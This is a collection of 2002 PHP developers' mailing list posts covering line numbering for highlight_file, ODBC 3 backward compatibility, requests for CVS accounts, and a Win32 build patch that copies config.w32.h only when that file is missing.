Re: [PHP-DEV] highlight_file modification

[Alan Knowles]

I know it's a bit of a radical suggestion, but would depreciating 
highlight_string in favour of a pear package using the tokenizer not be 
a better approach.

is there any reason to keep this in C?

Anyway, just throwing a few stones into the water

Regards
Alan
 



Devon O'Dell wrote:

> Hey,
>
> I don't know if this has been brought up before (you can smack me, I 
> know that's the 3rd time I've said this), but something I (and others) 
> thought would be cool is line numbering for highlight_file (aka 
> show_source).
>
> I've made modifications so that this feature is settable from php.ini 
> (highlight.format, either 0 or 1) and tested my source, looks like it 
> works fine and the only stuff that didn't work in make test was stuff 
> where the EXPECT was wrong.
>
> I guess I'm waiting for karma, lemme know if I should submit the 
> patches in another email.
>
> Devon
>
>




-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Dan Hardiker]

[..]
> something I (and others) thought would be cool is line numbering
> for highlight_file (aka show_source).
[..]
> Devon

+1 from me

Line numbering on show_source output is always useful! Especially when in
a chat room your debugging someone elses code and you have to refer to
"that if statement halfway down the page" heh.


-- 
Dan Hardiker [[EMAIL PROTECTED]]
ADAM Software & Systems Engineer
First Creative Ltd



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Marcus Börger]

At 13:47 11.09.2002, Devon O'Dell wrote:
>Hey,
>
>I don't know if this has been brought up before (you can smack me, I know 
>that's the 3rd time I've said this), but something I (and others) thought 
>would be cool is line numbering for highlight_file (aka show_source).

However i like this idea.

>I've made modifications so that this feature is settable from php.ini 
>(highlight.format, either 0 or 1) and tested my source, looks like it 
>works fine and the only stuff that didn't work in make test was stuff 
>where the EXPECT was wrong.

There shouldn't be any problem with the tests because the default should 
stay the same as it is now.
When you want to test your ini settings you can either use normal ini 
functions or the newly introduced
--INI-- section in the .phpt files.

marcus

>I guess I'm waiting for karma, lemme know if I should submit the patches 
>in another email.
>
>Devon
>
>
>--
>PHP Development Mailing List 
>To unsubscribe, visit: http://www.php.net/unsub.php


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] RFC: ODBC and PHP

[Dan Kalowsky]

On Tue, 10 Sep 2002, Shane Caraveo wrote:

> Ok, then I would be for ODBC 3 for PHP 5 as the standard.  An ODBC 2
> extension can be shuttled out to PECL for those who may need it.  But
> for BC issues, there is still the nameing convention.  I would personaly
> prefer that the odbc functions stay odbc_*, rather than to start
> iterating through odbc2...odbc3 and so forth.  Don't know an easy
> solution right now.
> Shane

Shane, I agree that the naming convention should stay the same.  I'm only
calling it that now so I can test it and reference it with other people.
:)

>
> Dan Kalowsky wrote:
> > On Tue, 10 Sep 2002, Shane Caraveo wrote:
> >
> >
> >>Hmm, is there no way to make the functions work with both odbc versions?
> >>  Have an odbc_set_version(int) function that can set the version of
> >>odbc to use.  The default can be version 3.  This way, with the addition
> >>of a single function call, scripts can provide BC.
> >
> >
> > This is a tricky question really.  Theoretically, yes it should be
> > possible to allow this.  You may run into issues with some of the result
> > sets, but the connections should still be the same.  You couldn't really
> > do it with a function like odbc_set_version, as my understanding of ODBC
> > states you must declare which version type you are using at compile time.
> > If you have some documentation stating otherwise, I'd be interested in
> > reading it.
> >
> > The reality is, I don't know.  All ODBC3 drivers should be able to utilize
> > the deprecated functionality just fine, but the mapping is an unknown
> > and dependent upon vendor implementation.  Going the other way, of course,
> > is not going to work.
> >
> > But I don't see a reason to keep such BC at this point.  The problem with
> > the current system can be seen with bugs in the result sets.  The one
> > area specifically mentioned above.  Users are still going to ask "Why
> > doesn't my select work?" while using NTEXT or something non-compliant.
> > The CURSOR type cannot be changed with the current system.  This in itself
> > leads to a slower implementation, a (unnecessarily) larger memory
> > footprint, and in DB2 systems a memory leak.
> >
> > Hey at least I haven't gone as drastic as I originally thought, and asked
> > to drop support specific for things like DB2, Solid, Empress, etc, and
> > only support multi-driver systems (unixODBC, i-ODBC, and Windows ODBC).  :)
> > Although I still think that would make the most sense and be the easiest
> > to support on our end of things.
> >
> >
> >>---<
> >
> > Dan Kalowsky"I'll walk a thousand miles just
> > http://www.deadmime.org/~dankto slip this skin."
> > [EMAIL PROTECTED]- "Streets of Philadelphia",
> > [EMAIL PROTECTED]Bruce Springsteen
> >
> >
> >
>
>

>---<
Dan Kalowsky"I'll walk a thousand miles just
http://www.deadmime.org/~dankto slip this skin."
[EMAIL PROTECTED]- "Streets of Philadelphia",
[EMAIL PROTECTED]Bruce Springsteen


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] highlight_file modification

[Devon O'Dell]

Hey,

I don't know if this has been brought up before (you can smack me, I 
know that's the 3rd time I've said this), but something I (and others) 
thought would be cool is line numbering for highlight_file (aka 
show_source).

I've made modifications so that this feature is settable from php.ini 
(highlight.format, either 0 or 1) and tested my source, looks like it 
works fine and the only stuff that didn't work in make test was stuff 
where the EXPECT was wrong.

I guess I'm waiting for karma, lemme know if I should submit the patches 
in another email.

Devon


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] CVS Account Request: gal_ga

[Gal Gur-Arie]

Joining the team that translate the PHP Manual into Hebrew.
I need access to the modoule - phpdoc

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] [PATCH] Win32 project files

[Sebastian Bergmann]

  A while ago I started working on main/config.w32.h beeing generated
  from main/config.w32.h.in.

  The benefit of this is to allow for a Win32 build configuration that
  doesn't conflict with CVS versions, since only config.w32.h.in is only
  known to the repository.

  Anyways, my earlier version of this patch didn't work and config.w32.h
  was always overwritten during the build, rendering the mechanism
  useless.

  Attached is a patch that fixes this mess. I tested it, hopefully well 
  enough, but would like a fresh pair of eyes to look over it before I
  commit it.

-- 
  Sebastian Bergmann
  http://sebastian-bergmann.de/ http://phpOpenTracker.de/

  Did I help you? Consider a gift: http://wishlist.sebastian-bergmann.de/



Index: php4dll.dsp
===
RCS file: /repository/php4/win32/php4dll.dsp,v
retrieving revision 1.33
diff -u -r1.33 php4dll.dsp
--- php4dll.dsp 5 Aug 2002 12:02:36 -   1.33
+++ php4dll.dsp 11 Sep 2002 08:34:02 -
@@ -240,8 +240,10 @@
 # Begin Custom Build

 InputPath=..\main\config.w32.h.in

 

-"..\main\config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

-   copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+"config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

+   if not exist ..\main\config.w32.h (

+ copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+   )

 

 # End Custom Build

 

@@ -250,8 +252,10 @@
 # Begin Custom Build

 InputPath=..\main\config.w32.h.in

 

-"..\main\config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

-   copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+"config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

+   if not exist ..\main\config.w32.h (

+ copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+   )

 

 # End Custom Build

 

@@ -260,8 +264,10 @@
 # Begin Custom Build

 InputPath=..\main\config.w32.h.in

 

-"..\main\config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

-   copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+"config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

+   if not exist ..\main\config.w32.h (

+ copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+   )

 

 # End Custom Build

 

@@ -270,8 +276,10 @@
 # Begin Custom Build

 InputPath=..\main\config.w32.h.in

 

-"..\main\config.w32..inh" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

-   copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+"config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

+   if not exist ..\main\config.w32.h (

+ copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+   )

 

 # End Custom Build

 

Index: php4dllts.dsp
===
RCS file: /repository/php4/win32/php4dllts.dsp,v
retrieving revision 1.80
diff -u -r1.80 php4dllts.dsp
--- php4dllts.dsp   5 Sep 2002 13:36:32 -   1.80
+++ php4dllts.dsp   11 Sep 2002 08:34:03 -
@@ -273,8 +273,10 @@
 # Begin Custom Build

 InputPath=..\main\config.w32.h.in

 

-"..\main\config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

-   copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+"config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

+   if not exist ..\main\config.w32.h (

+ copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+   )

 

 # End Custom Build

 

@@ -283,8 +285,10 @@
 # Begin Custom Build

 InputPath=..\main\config.w32.h.in

 

-"..\main\config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

-   copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+"config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

+   if not exist ..\main\config.w32.h (

+ copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+   )

 

 # End Custom Build

 

@@ -293,8 +297,10 @@
 # Begin Custom Build

 InputPath=..\main\config.w32.h.in

 

-"..\main\config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

-   copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+"config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

+   if not exist ..\main\config.w32.h (

+ copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+   )

 

 # End Custom Build

 

@@ -303,8 +309,10 @@
 # Begin Custom Build

 InputPath=..\main\config.w32.h.in

 

-"..\main\config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

-   copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+"config.w32.h" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"

+   if not exist ..\main\config.w32.h (

+ copy ..\main\config.w32.h.in ..\main\config.w32.h > nul

+   )

 

 # End Custom Build

 



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] CVS Account Request: chief

[Radoslaw Maciaszek]

A few weeks ago i asked for cvs account but don't recivied any answer yet. As i said 
before i want this cvs account only for my work with pear. I got two +1 for my new 
package in pear from Marty Fabien and Martin Jansen. I'm waiting from few weeks and 
really need this account. Regards.

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php